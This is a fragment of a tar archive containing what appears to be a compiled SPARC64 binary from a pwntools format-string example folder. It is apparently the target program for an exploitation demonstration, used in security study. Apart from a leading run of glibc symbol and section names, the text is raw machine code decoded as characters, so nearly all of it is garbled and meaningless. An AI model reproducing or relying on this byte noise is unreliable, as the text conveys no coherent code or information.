array_start00000162.plt_call.__mempcpy__preinit_array_start00000162.plt_call.memcmp_nl_C_LC_CTYPE__dup__stack_chk_fail_local__libc_strcspn__isoc99_scanf_nl_C_LC_CTYPE_class_print__morecore__getdtablesize_IO_remove_marker__libc_sigactionstrcpy_IO_wdefault_xsgetn_dl_vsym_dl_setup_hash__tcb_parse_hwcap_and_convert_at_platform_IO_link_in_Unwind_Find_FDE__malloc_hook_dl_debug_printfgsignal_IO_sputbackc_nl_C_LC_CTYPE_class_upper_IO_default_finish_dl_check_map_versions_Unwind_GetIPInfo__gconv_transform_utf8_internal__default_morecore__libc_argc_IO_file_finish_nl_C_LC_CTYPE_width__fxprintf_nocancel_nl_unload_domain__dlinfo_Unwind_GetIP__mpn_impn_mul_n_basecase_IO_wdoallocbuf__getpid__register_printf_modifier_IO_list_lock__memchr_power7__strrchr_power8__strtod_internal_nl_load_domain_IO_default_doallocate__libc_multiple_libcs__strtoull_l_wordcopy_fwd_aligned_dl_important_hwcaps__strchrnul_power7_IO_new_file_xsputn_dl_reloc_bad_type_IO_least_wmarker_IO_default_sync__register_frame_IO_file_sync__strtoull_internal__mpn_impn_sqr_n_basecase_IO_seekwmark_IO_fflush__mpn_extract_long_double_IO_wfile_jumps_nl_C_LC_CTYPE_class_xdigit_IO_file_write_dl_find_dso_for_objectstrerror__init_misc__gconv_transform_ascii_internal__mpn_sub_n__wcsmbs_clone_conv__getdents_dl_profile_output__mpn_cmp__mbrlen__mpn_addmul_1__gconv__gconv_transform_ucs2_internal__printf_modifier_table__tcgetattrstrtof32_dl_new_object_Unwind_Resume_or_Rethrow__calloc_dl_make_stack_executable_IO_default_xsgetn__strtok_r_dl_exception_create__libc_stack_end_IO_enable_locksfileno_unlocked_nl_default_locale_path__gconv_get_path__register_printf_specifier_dl_debug_fd_nl_C_LC_NAME__tsearch_IO_vasprintf____strtol_l_internal_IO_file_seekoff_mmap__libc_fcntl__gettext_free_exp_dl_load_cache_lookup_nl_current_LC_NUMERIC_used__write_IO_fopen64__gettext_extract_plural_IO_sgetn__mmap__mprotect_dl_use_load_bias_nl_domain_bindings_dl_catch_exception__gconv_path_envvar_dl_reloc_overflow__strcasecmp_l_power7__gcc_qmul_Unwind_GetRegionStart__dprintf__add_to_environ_dl_initial_searchlist_IO_file_seek__parse_one_specwc_itoa_word__new_fdopen__tdestroy_dl_profile_fixup__getcwd_Unwind_Backtrace__mbsrtowcs_l__vmx__longjmp_IO_init_marker__strtol_internal_nl_category_name_idxs__mempcpy_power7c32rtomb__woverflow_IO_2_1_stdout___register_printf_function__mpn_mul_n_IO_new_file_init__strtold_l__gconv_lookup_cache_dl_higher_prime_number__openat64_nl_C_LC_CTYPE_class_cntrlqsort__posix_memalign_IO_flush_all_linebufferedstrtof32_l_IO_fclose__strtoll_internal__gconv_modules_db_nl_expand_alias_IO_wdo_write__getdelim__read__wcschrnul_dl_strtoul_IO_default_underflow_IO_funlockfile_dl_init__gconv_load_cache__mallinfo__gconv_transform_ucs4le_internal_dl_platformlen_dl_tls_static_used_IO_switch_to_wget_mode__mempcpy_ppc__realloc_hook_Unwind_GetCFA__exit_funcs__gettextparse__libc_strcasecmp_l_IO_default_xsputn__mpn_lshift__TMC_END___nl_load_locale___printf_fp_IO_fwrite_IO_default_setbuf_IO_sungetc_dl_try_allocate_static_tlsperror__dlsym__gconv_get_cache_dl_addr_inside_object_IO_new_fdopen_IO_fwide__gconv_find_shlib_nl_unload_locale__DTOR_END___IO_new_file_close_it_dl_debug_mask_IO_wfile_overflow__libc_memalign__libc_scratch_buffer_set_array_size__libc_dlsym_private__overflow__btowc__mpn_mul__strtol_ul_max_tab_dl_non_dynamic_init__internal_atexit__memalign__mpn_submul_1_IO_file_close__malloc_trim__dladdr_nl_current_default_domain_nl_msg_cat_cntr__open__strtod_nan_IO_unsave_markers_nl_C_LC_CTYPE_class____strtof_l_internal_dl_load_adds__gettext_germanic_plural__wcsmbs_getfct_IO_2_1_stdin___gconv_transform_internal_ucs4__get_child_max_dl_protect_relro__strerror_r__wcsmbs_load_conv__stop___libc_IO_vtablesstrtoll__mpn_impn_sqr_n_nl_C_LC_ADDRESS_dl_wait_lookup_done__strrchr_ppc_dl_mcount_wrapper_dl_deallocate_tls_nl_C_LC_CTYPE_class_graph__mpn_impn_mul_n__current_locale_name_nl_C_LC_CTYPE_tolower_dl_profile__memcmp_ppc__dso_handle__mpn_construct_float__strsep__new_exitfn__libc_alloca_cutoff_IO_switch_to_main_wget_area__strnlen_ppc_dl_tunable_set_trim_threshold__strstr_ppc__dcgettext__libc_csu_fini__strncasecmp_l_power7_nl_current_LC_CTYPE_used_IO_str_init_readonly_IO_file_seekoff_dl_discover_osversion_dl_signal_exception__libc_init_secure_dl_count_modids__exit_funcs_lock_dl_nothread_init_static_tls__frame_state_for__tunable_get_val_IO_adjust_wcolumn__tunables_init__strtoul_internal_IO_str_seekoff__ctype_init__getgid__no_long_double__lseek64_IO_file_setbuf_IO_new_file_fopen__libc_mallinfo_IO_new_fopen_dl_cpuclock_offset__gconv_btwoc_ascii_IO_fdopen__wcslen_IO_default_write__libc_read__fxprintf__libc_disable_asynccancel__gconv_find_transform__xstat64_IO_file_close_mmap_dl_allocate_tls_storage__libc_realloc_dl_tunable_set_mmap_threshold__libc_tsd_CTYPE_TOLOWER__gconv_transform_ucs2reverse_internal_dl_tls_static_align_dl_scope_free__environ_Exit_nl_intern_locale_data__rawmemchr_power7_dl_lookup_symbol_x_nl_cleanup_ctype_dl_tls_max_dtv_idx_nl_C_LC_CTYPE_map_toupper_nl_C_LC_CTYPE_class_punct__tcb_hwcap__libc_setlocale_lock__stack_chk_fail__strspn_ppc_dl_close_dl_static_dtv_dl_bind_not__libc_enable_secure_IO_wpadn_nl_postload_ctype_dl_static_init_IO_fputs__gconv_transform_ucs4_internal__open_nocancel_dl_auxv__libc_dlvsym_nl_C_LC_CTYPE_class_digit_IO_str_pbackfail_IO_wfile_xsputn__gconv_max_path_elem_len_IO_default_imbue__mpn_divremstrtoqmbrtoc32__libc_lseek64__dlmopen__tls_get_addr__lxstat__tcb_platform_nl_find_domain_IO_default_read__register_frame_table_IO_file_close_it__sys_nerr_internal_sys_nerr_dl_platform_IO_iter_begin____strtod_l_internal_nl_C_LC_CTYPE_class32_dl_get_tls_static_info__strtol__ctype_tolower_loc__libc_check_standard_fds__after_morecore_hook__mpn_construct_double__start___libc_atexit__setitimer__libc_enable_secure_decided_dl_exception_free_IO_file_stat_dl_start__strtold_internal__register_frame_info_bases_IO_wfile_sync__libc_pvalloc__strtoll_l_dl_runtime_resolvestrtod_IO_vfscanf_internalrindex__readonly_area__tunable_set_val__guess_grouping__libc_valloc__strtod_l_nl_C_LC_CTYPE_map_tolower_nl_locale_subfreeres__dcigettext_dl_add_to_namespace_list__mpn_construct_long_double__strrchr_power7_IO_str_jumps_IO_str_finish_nl_normalize_codeset__exit_funcs_done_dl_tls_static_size_dl_debug_printf_c_IO_default_showmanyc__get_nprocs__isatty__fortify_fail_abort_nl_state_lock__profile_frequency_dl_lazy_dl_powerpc_cpu_features_dl_debug_state__gconv_transform_internal_ascii__stpcpy__mmap64__gettimeofday__printf_fp_l_IO_str_overflow__deregister_frame_info__malloc__openat64_nocancel_dl_init_paths__malloc_fork_lock_parent_IO_file_xsgetn_IO_cleanup__hash_string_dl_argv__strchr_power7_IO_default_seekpos__gconv_open__free_Unwind_Resume__dlclose_Unwind_DeleteException__fpu_control__gconv_transform_internal_ucs2_IO_new_do_write_nl_current_LC_CTYPE_IO_file_underflow__memchr_ppc____strtold_l_internal__gconv_release_shlib__memcmp_power7_nl_C_LC_MONETARY__read_nocancel_nl_make_l10nflist__fopen_internal_IO_no_init__libc_register_dl_open_hook_tens_in_limb_IO_padn_IO_file_overflow_IO_getline_info__parse_hwcap_and_convert_at_platform__parse_one_specmb__readdir____new_strtold_internal__libc_open64_IO_str_init_static_IO_stdout_dl_dst_substitute_fpioconst_pow10_dl_tls_dtv_slotinfo_list_dl_tunable_set_tcache_unsorted_limit_dl_allocate_tls_init__gconv_close__wcrtomb__progname_dl_sysinfo_map__deregister_frame_info_bases__stop___libc_atexit_IO_flush_all_IO_new_fclose_IO_iter_file_IO_flush_all_lockp_IO_adjust_column__libc_errno__correctly_grouped_prefixmb__libc_init_first_IO_vtable_check_dl_inhibit_cache__mpn_extract_double__strchrnul_power8__GI___getrlimitstrncmp_dl_tunable_set_top_pad_nl_C_LC_COLLATE__fxstatat_IO_fprintf____new_strtold_l_nl_explode_name_IO_vfwprintf_IO_wdefault_doallocate__strcspn_power8__GI___readdir64__run_exit_handlers__libc_malloc_dl_tunable_set_perturb_byte__malloc_fork_unlock_child_IO_marker_delta__libc_free_IO_file_underflow_mmap__bzero_ppc_IO_sungetwcprogram_invocation_short_name_wordcopy_bwd_dest_aligned__opendir_IO_str_count__printf_arginfo_table_dl_open_IO_file_underflow_maybe_mmap__fileno__pvalloc__getauxval_nl_C_LC_CTYPE_class_space__getegid_IO_wfile_jumps_maybe_mmap__strnlen_power8_dl_check_all_versions_dl_debug_initialize__argz_create_sep__strdup_dl_tls_dtv_gaps__gconv_alias_compare__cxa_atexit__wmemmove_IO_file_xsputn__brk__start___libc_IO_vtables_nl_C_IO_wmarker_delta_dl_hwcap2__GI_getrlimit__libc_mallopt_IO_default_stat_IO_new_file_sync_IO_file_jumps_maybe_mmap__profil__mpn_add_n_dl_tunable_set_mmaps_max_nl_current_LC_NUMERIC____strtoul_l_internal_nl_C_LC_CTYPE_toupper_Unwind_RaiseException__sched_yield__strcasecmp_l_itowa_lower_digits_IO_marker_difference_dl_get_origin_dl_phdr_IO_free_wbackup_area__libc_malloc_initialized_dl_name_match_p_nl_remove_locale__getpagesize__mbrtowc__syscall_error__dlopen_IO_free_backup_area_nl_C_LC_TIME_IO_file_init_itoa_lower_digits__libc_close_nl_C_locobj__underflow__getrlimit64__gconv_get_builtin_trans_dl_nns_Unwind_SetIP__rewinddir__libc_csu_init_dl_random__abort_msg_dl_scope_free_list__get_nprocs_conf__gconv_release_stepstrtoull__bss_start__libc_open_IO_wdefault_xsputn__gconv_transform_internal_utf8_IO_default_uflow__wmempcpy__strtol_l_dl_start_profile_dl_origin_path__wcsnlen__malloc_info__wcsmbs_gconv_fcts_c__vmx__sigsetjmp_nl_current_LC_MONETARY_used_sys_errlist_IO_new_file_finish__strcasecmp_l_ppc_dl_tls_generation__gconv_lock__GI___fxstatat64_IO_new_file_attach_dl_powerpc_cap_flags__fortify_fail_dl_clktck_dl_cache_libcmp_dl_relocate_object_dl_dynamic_weak_IO_vfprintf_internaltime__cache_line_size__wunderflow_dl_tunable_set_tcache_max__uflow__rawmemchr_ppc__register_frame_info_table_bases_dl_dst_count__assert_fail_nl_C_name_IO_least_marker_nl_find_msg_IO_switch_to_wbackup_area_IO_list_resetlock__fgets_unlocked_dl_tunable_set_mallopt_check__gcc_qsub_dl_call_pltexit__memmem__dlvsymllseek__lseek_nl_default_dirname_nl_POSIX_name__twalk_IO_getline_dl_allocate_static_tls__strnlen_power7strcmp_IO_wdefault_uflow__mpn_rshift_nl_C_LC_MEASUREMENT__gconv_get_alias_db__libc_scratch_buffer_grow_preserve_nl_find_locale__memchr__malloc_check_init__mbsrtowcs__printf_function_table__fopen_maybe_mmap_dl_rtld_di_serinfo__libc_openat64_dl_sysinfo_dso__wmemset_nl_C_LC_TELEPHONE__libc_enable_asynccancel_nl_C_LC_CTYPE_class_alnum__deregister_frame_IO_setb__dl_iterate_phdr__register_printf_type_IO_file_fopen_dl_sort_maps__libc_strspn__write_nocancel__dladdr1__qsort_r_dl_unload_cachestrtof32x_l____strtoll_l_internal_IO_new_file_setbuf_IO_wfile_seekoffstrtof_IO_wfile_underflow__madvise__gcc_qdiv__wcsrtombs_IO_file_doallocate_wordcopy_fwd_dest_aligned__gconv_compare_alias_cache_libc_intl_domainname__gconv_path_elem__tens_IO_init_wmarkersetlocale__libc_tsd_CTYPE_B__getclktck_Unwind_GetTextRelBase_IO_file_read_nl_C_LC_CTYPE_class_blank__lxstat64__libc_setup_tls__strtold_nan_IO_file_jumps___asprintf__strtof_l_dl_tunable_set_tcache_count__close_nocancel_dl_init_static_tls__new_exitfn_called__fcntl_nocancel_Unwind_FindEnclosingFunction__strsep_g_IO_str_init_static_internal_nl_finddomain_subfreeres__wctrans_dl_stack_flags_nl_category_name_sizes_dl_mcount__libc_lseek_dl_next_tls_modid__handle_registered_modifier_mb_IO_fopen_IO_wdefault_finish_dl_mcount_wrapper_check_IO_new_file_write_IO_stderr__ctype_b_loc__mremap__printf_fphex_Unwind_GetLanguageSpecificData__strndup_dl_init_all_dirs_dl_allocate_tls_dl_tls_static_nelem__gconv_get_modules_db__uname__strchrnul_ppc_IO_sputbackwc__opendirat__gconv_read_conf__libc_dlclose__libc_strncasecmp_l__gconv_close_transform_dl_tls_get_addr_soft_IO_file_attach_dl_tunable_set_arena_max__libc_secure_getenv_nl_C_LC_NUMERIC__new_strtold_IO_unsave_wmarkers_IO_file_open_dl_map_object_nl_archive_subfreeres__libc_tsd_LOCALE_IO_list_unlock__close__strlen_power7__fxstat64__mpn_mul_1__getuid_itoa_upper_digits_Unwind_ForcedUnwind_edata__xstat_dl_load_lock_IO_switch_to_get_mode_dl_fixup_IO_vfscanf_IO_do_write_fitoa_word__fdopendirstrtof64_l__strtof_internalstrtof64_nl_locale_file_list_IO_getdelim__gconv_release_cachestrtouq__strcspn_ppc__new_fclose_dl_fpu_control__wuflow__sysconf__sigaction__vmx__sigjmp_save__libc_calloc__curbrk__gconv_compare_alias__memchr_power8__vfwprintf__tfind_nl_global_locale__strtof_nan_dl_verbose_IO_default_seekoff_dl_dprintf__strncasecmp_l_IO_doallocbuf_dl_signal_error_dl_phnum_flushlbf_dl_exception_create_format__stack_prot__strtol_ul_rem_tab__libio_codecvt__closedir__libc_message_dl_profile_map_IO_switch_to_backup_area__strspn_power8__dlerror_Unwind_SetGR__free_hook__gconv_transform_internal_ucs4le_IO_new_file_init_internal____strtoull_l_internal__munmap__libc_tsd_CTYPE_TOUPPER__malloc_usable_size__gconv_transliterate__openat__fxstat__strtoul_l__memcmp_power4_IO_stdin_IO_wsetb_IO_wfile_jumps_mmap__vmx_setjmpDW.ref.__gcc_personality_v0__fprintf_nl_C_LC_MESSAGES_IO_vfprintf__wcsmbs_named_conv_dl_aux_init_dl_hwcapstrtof32x_itowa_upper_digits_IO_wfile_doallocate__assert_fail_base_nl_category_names__open64_nocancel_nl_C_codeset_dl_initfirst__setfpucw_IO_str_underflow__sigprocmask__ctype_toupper_loc__vmx__setjmp__funlockfile_IO_stdin_used_exit_dl_load_write_lock__alloc_dir__getdents64_Unwind_GetGR_nl_default_default_domain__libc_argv__libc_start_main__lll_lock_wait_private_IO_init_internal__memcmp_power8__strstr_power7program_invocation_name__libc_dlsym__malloc_fork_unlock_parent_dl_show_scope__libc_write__fcntl_IO_init__strtoul__gconv_transform_internal_ucs2reverse_nl_C_LC_CTYPE_class_lower_dl_all_dirs__setenv__clearenvstrchr_dl_add_to_slotinfo__realloc_dl_profile_resolve__gconv_alias_db_IO_iter_end__gcc_qadd__mallopt_quicksort_Unwind_GetDataRelBase_IO_new_file_underflow__data_start_dlerror_run_dl_sym__libc_fatal__get_phys_pages__sbrk_IO_default_seek__tdelete__printf_va_arg_table_r_debug__malloc_stats_IO_wdefault_pbackfail__sys_errlist_internal_dl_osversion_IO_list_all__argz_add_sep_IO_new_file_overflow__libc_dlopen_mode__unsetenv__strncasecmp_l_ppc_IO_new_file_seekoff_dl_tunable_set_arena_test___vfscanf_dl_sysdep_read_whole_file_nl_current_LC_MONETARY__openat_nocancel__vmxsetjmp_dl_addr__get_avphys_pages__handle_registered_modifier_wc__open64_nl_C_LC_PAPER_dl_catch_error_IO_un_link__register_frame_info_table_IO_file_setbuf_mmap_dl_make_stack_executable_hook_dl_inhibit_rpathaligned_alloc_IO_default_pbackfail__register_frame_info_IO_vdprintf_dl_correct_cache_id__sysinfo__new_fopen__wmemcpy_IO_iter_next_dl_close_worker_dl_pagesize__valloc__memalign_hook__geteuid_wordcopy_bwd_aligned_IO_2_1_stderr___progname_full_IO_switch_to_main_get_arearaise_IO_seekmark_nl_C_LC_CTYPE_class_alpha__towctrans_IO_old_init_IO_file_jumps_mmap__libc_register_dlfcn_hook_dl_map_object_deps_nl_C_LC_IDENTIFICATION_dl_ns_nl_load_locale_from_archive.symtab.strtab.shstrtab.note.ABI-tag.note.gnu.build-id.rela.dyn.init.text__libc_freeres_fn__libc_thread_freeres_fn.fini.rodata__libc_subfreeres__libc_atexit__libc_thread_subfreeres.eh_frame.gcc_except_table.tdata.tbss.fini_array.ctors.dtors.data.rel.ro.opd.got.iplt.data__libc_IO_vtables.bss__libc_freeres_ptrs.comment.gnu.attributesXX )xx$<FDL r R u u d \}  $ @ @U  ` `H   M I I x x  D     LP  $ * < HA7 (U0 *^o  !  e.nGallopsled-pwntools-3ad86ec/examples/fmtstr/printf.sparc64000077500000000000000000023053601507273764500240610ustar00rootroot00000000000000ELF+$@ p@8@HHZ(Z(Z5 DDZ(Z(Z `dtQdtRZ(Z(ZGNUGNUHs0:0P/@ `]`@c@P @3a@i  !Xbilj@Y(w 0p w  2 $@qD@D@`_ @#(_Y(@ @@vPPaA  @m| @#@    @moc0 _@mk o#0[ < @0hP   *0 !`(p @a@` `(p @`@@P   *0 `(p @!a"@:p2p?@ :p@ `(p @`@@P75 (p @a`@>  ;`/p @`(p @c(c0'@ 9?p /0  _"@( (` `"(pw^@@_@ o``(p @`@  *0 @X h . .PP`(p @a@ `*p @ b *0 @ hoP0www `?__*0   !_p`` pc Z?* @x #Y"  xyD2@!6@{? !3X``!60(''% @v# paؠ!ئ`60+@```@{ !^@^`@@vo``8"H X  c8@C#H8@ #q"opb@> Xc@``````.p8.0)()p )0@((`@?0@q( aȀ`@l`@   Xc@d%`_@q0  @ !_X``@{_  @ c`H@ !_X``_ @u @ސ߀ @N !YYww߄X``q__@_@X: `@`^@^`@@" @h20 @8p? (h@? (@&ހod` Ȁ6 # p@&ޠ20 @&ހoV`@{' @k #c`@c@ # caO@&# GG    mh  o h @0 "&ޠ2 @&ޠ&ހo`(h #"0"" #"X @&ޠ& ޠ  ` &ޠ2 @&ޠ0 @&ހo`"O`@&#x&ޠ  &ޠ& ޠ  @o&(Oo #@&#@l ?@ `` O@@!  @jĒ@o@j1  @ <@@@_@go!o#P ʓ2p   Ű oÁP % X` #Xb@#\0 #XH8@@*h@h ` @2O`8\X`X`0X`(X` `h @@o@h O@    ` @? @@n& " >pa@@lLa'@pbt$8pb@b˒\0`@f @t0 "  p8w` "pa " 8q!pa # #t$(t$ t$t$t$@q!p`pb P; 7 c&>" ;  _@@ o`; 7 ca&>  _@@ o`P;  cc @8p @_@@??oiY(w `@   XcJ†``Cf@ssss@a @/ _@c @Xb X`h@  @?' "  @nH:`?`_ @T"? Xcc2g@nX@NX_@U `P@j# @NoP ` @"P    hph\L<, P@`@@'`@`@/_` z$`(p@_`@`O_` z$_```@`@*_``@ ``G`H[` E  z4_``` G0`(p@ {$ gp e0 g0 ep&*n@o nH@" @g j N {4_`z4P^ @ 8^` @`8@S{ @^@@Su^ @ ^`@So^  @ ` @8`o^`8o^ 8PX^ ^ h`  @b @ o oY(w w `@] _ `@ (@UA@' X2 0`jLj5`H h"_ `" $@$5 (pH@: "@f ?(H#_ H _ 07``/pHFw@: ׀@H__A`@wϑ2 _ϒ@@R "@4goӮ'@0`(pY@oX`@R O7`4@:hZ_ P/p_ 8_  ``H 4 @: 2 <`@ 2 J_hp@׀@O΂`_@@R Gقgo h _Y(@ B!@ol]4 (g _ _ 07p/p@`H2 @v: 2  @R &G؀G@o`'@-p@X@X@57 ^`3P`"@_ xÐ _ xƀ9_ p@(phƀ1^@Rl O`"@\` \`g_\`"@' `h/pX@"@<' `X@_op@P`@p XbH  `YX@oX`) `"@_ x _ xƀ_ p.h@^@R' O ?o\`f ohwׂ `@Z+ w]b``w3  ^bX/ `5  @f - #+ ^; bXvbX@LYdv t ub` ow__ߘ? @x\`?@ @  ow@8 hJ`@ XbH o&Phwׂ `@&\`"A# @ |h`4@_oe\`@S @J8@_ pbH of&P    mh  oK\`@p_o\`vbX/@JbX ^/rvo _@Kuub`vbX ?|h`O_ג    mh  o@.@K֐@w p@S?t@@ t`Ѐ?`f@U`xb @RV` #@_6*h a?H`O`/ N)`#@ Yb(p8 8p6*?H`O `q /*h a?H`O`/ !N#` @ Yb(p88p6(N`O `[ /( `@vؐ @H?t`_ x` >w xo\`o<?@Imoy? 1?o2_]b` q\`^bX/p @q`vbXub`|h4@_\`X@`o}X@    mh  \`oX@ |h`O _o5 @o_o+ *o @&? @JА o (o @L 2 ?ot`(o*   @^}bon*@pot`ot`㾠Y(w Aw` ` g `?@Hހ `ww! ' !  "p www'@Ywow "` @kb'w@w "_@ #X@`@; #Xb  h&@ܠ \ْ @P; O\ L`/H @g l@'`@JI@8_a`@am@@)@P 2@@Rwg@R # ?# @W*  /(@]  .( m( o((@Q-  ?#  7L:@d @c4@@Oې @@O֐ @@5? |?`@I__@ _w "p ! _w!  `?$@@_Y(@ A `? $2Oo  www'@woo0wwX`8ww'@{wo ?#wo%o(L`:@ @ O ( c`O /@N"*?Loa`@am@S@%)@OX OD@ ??Jo;f@] ?d( w_wWh\X ?gv"?`<`(p]w@IR__@F_ #"_X@ `p` _p`(p`0_w *!_qw \"p !Y og_ X`(_@ _ww N"p !K __woS!X` X`0Xo_]oӄoB __o_W@P_o @P_g`:@@GZ?_@\ 8`@\@O4t #b_$ $ _t t 0t `@t ( "_` wb@i_@_ "_"@w_@@o_ww@HƐo_@nY(w `@ ڐ"@P  sssss ! ;#(@`@ Đ") `@!_ "@ _ _Y(@ @~?h  X` `_@? `4O_@@no_@@jo_ @Ð @PU @FȐ?ײ@\5ߔג@?Gʢ`@ |"@P: s_s_s_ ss__ϒ@!#(@ e"` `@"_ "@ _ Ā`@H4`"o@H/_o? h  X` `_@? `4O_@@o_@@ _  o_ @m^ Y(w ; _c8@`c0 `@-wc8c4`'c4 2H?v & ^  @cH ?@: c4 & `@'c4wc8c0`4@_Y(@ BW@b  @_/`   @g ?`G@dߐ%Abނ7@ `@ @@ê @F  ?Ũv r" r " r %AހH< 8@  " (r 0r 8`H" X% h?@u `%Aހ"H$@~AF$ H'+@~Ԧ@Moo,owG@kN`62O{tN2Owt8dGqbGm`Gi``Ge`‡ Oaao^`N2O[t dGVbGR`GN``GJ`‡ OFaoC`@2 *0@Cߐ>w_?u -@_@ww_w'/'www_ (p _7_GHg "@@@@|: 2 @|F8@ `2@J @b_/ (p_wHZ@_G@|F@_2 @{F2 @{F?HU@{8`2 tt @/`'/_`w+O`?/___瀠@@_ X  @@g_] ` h`H@{Б: % oH@{Ǒ: ?G2 (p^_o"@@@8@ `O oo @_G@_Owt H@{>@{<`2@6@_74`(pX@L@X o@Xo\ _ׂ$ot@{t@@os2  `@ H\ X2 0jjIH"" @h g0(p`O ( @?@Oޠ ?% @_u `u H% h_ou Po@@-;`N`4O9 N2O6t8dG0aG,aG(a`G$a  O a0oa(@ a o @on`L@<`FN`EO  N`A2OtN`S2OtN`T2OtN `8@"`1@`3@\`62OtN `42OtN 2Ot8dGaGaGa`G܂a  O؂a0oՂa(@`MN`AOς N`S2OtN`T2OtN`8@`1@f`3@D`62OtN `42OtN 2Ot8dGaGaGa`Ga  Oa0oa(N `22OtN 2Ot8dGbG`G``G`‡ Oao}`N `22OztN 2Ovt8dGpaGlaGha`Gda  O`a0o]a(N `62OZtN 2OVt8dGPaGLaGHa`GDa  O@a0o=a(N 2O:t8dG4bG0`G,``G(`‡ O$ao!`@b`PN`AO N`X2OtN2Ot8dGaG aGa`Ga  Oa0oa(N `62OtN 2Ot8dGbG`G``G`‡ Oނaoۂ`N 2Ot8dG҂bG΂`Gʂ``GƂ`‡ O‚ao`G N`T2OtN`R2OtN2Ot8dGaGaGa`Ga  Oa0oa(Z@hZhQM㽐Y(w `,#@V  @Va@@a8; `"7 5 3 # !@Őg# @G?ggYg(p ` `@(p 2o`(`8``#@ @ 2@``oܔ@f  _Y(@ @@Gg ?!@g ? o`(p`@` `2@]((p`` O GѦ (p 2o(``O (` H h^P(` @ ^P(p` "o9  @c((^P XcH@`b&@@J @JwW^c` _W\cX  #h(X$ePwGwO@BZwW? #-pX耢_W_O`K_G #tcXq#h(p 2o(``Ovo  #-pXwOwW@UȐ`_W_Op@U vc`w`o^vPXcP # Xc@ o_`OoP^P XcH@ o&@ @  d- #@B]?I uopcH@o- -p"[[@ss2o[o #@o1@gP5  h`@# \c@@|9 ;#P3 #bh_ ?7 @\I@@# `:@ `H:"O@!h H`:@ @ O` I@2O``2@tc@  ~h`4@9o  t:`"?\_Ƥ@ 4,^c@@O]@ &@@g@4,@@O]@ O8oo@] ~h`H     mh  `otc@@fo~# @IGw_ǤH @H H @H_ 'H @H_ 'H @H_ @H @?T@Tƀ / :@HҐ8@@  /* @Hɐ8@  /@N*?@@`@ .󀠠@ @ /(@@T^ ]" ]@F "@@_]*]_@?U>@U @38`@38@8` o  -= ƀé-0@Hz 8@ M@> (r@Hj` 8 ?``?`fp%Āu\utƀ @HQ 8  |&8 @ @@@=O @H_aP 2H @ 8 a`@]_O ,0u_@M(@ol _@M(@ob  ._@M(@oW  _*@M oM @@ w  (p'o@G   ep}4"G@G s_s_s_ ss_Ѫ`u ?ݠ "ouoyvs_s_>sssǚ   (pou@>0 (uoX o @?̮ oP@D7^Њ@  @(@h`А  g`@2o@ @"@>  "^h   @*?@(`*@@ o(pЀ` O*@o *@=   \ې c^o&@=ݐ ?\ۂc& *Pvvww@v@(`@ 8``_@ @[`.@Y(`8`_@ .@ @@@W@ @ O`B 8`."@.@8``@@`^"@_H@ ?d@_"@< H@ ?d@< .@ vN`of@`w ``HhRN O "`BT&@w@H@D_ @9  oƃ(`@F (`8``@OoЄ`g􀠠_G .@v`(`@ 8`.@ @`(`@ 8`.@ O`8`.O o.@o(`@>ڐ o(`o(`o?XY`Y`Y`Y`Y`Y`Y`Y`Y`XY`Y`Y`Y`Y`Y`Y`Y`Y`Y`Y`Y`Y`Y`Y`Y`Y`Y`Y`Y`Y`Y`YY`Y`Y`YYxY`YY[,ZY`ZY`YZ\Z\Z\Z\Z\Z\Z\Z\Z\Z\YXZ YPYYY`Y`Y`Y`Y`Y`Y`Y`Y`Y`Y`Y`Y`Y`Y`Y`Y`Y`Y`Y`Y`Y`Y`Y`Y`Y`Y`Y`Y`Y`Y`Y`Y`Y`Y`Y`Y`Y`Y`Y`Y`Y`Y`Y`Y`Y`YY`Y`Y`Y`Y`Y`Y`Y`Y`Y`Y`Y`Y`Yx[\[\XX0XlXU|U|U|U|WX WXP`@ `@`@h>7^ ^ ^ h>/P?@.?`,0^!hXO@` @`68H@9`O"@ @`H a; @   @8`(p@]@)pb0@@H,N@ @``6H@8`O`"@ @`oW@ O@_`u@ h.'  @`@=_Y(@ A@oԶ?]@]wwL ? p`W@``6H9`8`O"@ _H@7`@`@ `/''@=p0p @``"q)0@e)0@; @@Q@ -p@Q "`@=9@`: OU= o X +`; @_  h  +`; @v_  @ @ "O `|@;  `)`8@ @ _ u````' o? o+ ]`o?]@w  ?ov    ??m ]@ojr    ?oa ]@]]www  ?غoR ]@]wwoE ]@]wwo> ]?o> ]@@_p?o5 _ poֶ 2ONo o  K_=@0_ . p @wo!K=@__ p!o@; KO__op_ 0. _ p@!owK=@~_ p !o@_ 0."_ p@!owK_=@]0_ .#p @wo|! >Ѐ @_,)9Ж9 Ѐ (O,_ wp!o`@_ 0.!_ p@!oTw_ 0. _ p@!oHw_ 0. _ p@!o `0"@f ΀g   Ā  y$ #x8``?(pY #P@ XbXb  h? @ y$ @%`N@`? z@@$Ј` (H`*4 @``(Ʉ`@o؀`? z@O `.*@v@ f@@T`o H<ဦ G o L@H@ 2oL@o g@`gـ(oÂɆܰ `` H(pX`X"@+Hv@ _ XP `}8O7 XHL@`d`o1d`O`Xb(X"@2`  X V oh 0 ` "!?`02Ov@v@w@>L@>  @@@_h O@@`2oL@o `  o+ @*XbhXb` @@"Ђ`` (O`h "g` @J@(`8`"Og``(`@$Oߒ`@ @ o   oPF@=@(`AeP? ?'?`7@ hN@`2` )`9` ON@ H@@Gh(`8`@G?H2O `&@ N8`(p8 8p8`f@ô@eP 9` *``"H+ 8`` ``?0`@H+g `@O`@@Fh(`8`@@>?H2O g *``Oۃ8` *`8`` ``?0`@Oِgº `@O`@@"h(`8`@@?H2O `"*p8:p8 "o  @ojoeP@o`  o׺" *p88p8@go @wwwwY(w w@ _Y(@ @@ZZ@wwwwY(w w@ Ӓ_Y(@ @@Z@@Y(w "@;N@;`@`$@<\@`_Y(@ @;ao@ZP;  _b` @>o͑@ &?@_b>oÑ@Q?O@D`>` h_b` hz@Qo_b@wwwwwY(w 9  _"@2@_`Z @`1 `@._`_"r  `" t` tw @_"`t'`t@ @ _` `@" r z`@ _Y(@ @oل@Y,o_`   mh  o@Y`t'`t@ H_` `H" r z`H     mh  @w0wY(w  `@2@;? 0p`//0@Xߐ@ e0@ @@+`w#@J?@ ??`_Y(@ @+@o@qo? ` \o!@28?w@I瀢?@@@3͐oӱ?`@Y@wwwwY(w w Xb ~@H__`Z @`  `@#_`r  `" _@ @ _` `@" r z`@ _Y(@ @@Xc_`or    mh  o@X@wwwwY(w w Xb ~@2H`t_`Z @`  `@'_`r  `" `t _'`t-'`t@ @ _` `@" r z`@ _Y(@ @@X_`or    mh  o@XsP@@x @2H0`_`Z `  `@_`@r  " @ @A@0`  H  _` `H<"  _`؄bp '`X @@`W_  @``@:9 #_`#@ `@W@`b^H@``^ 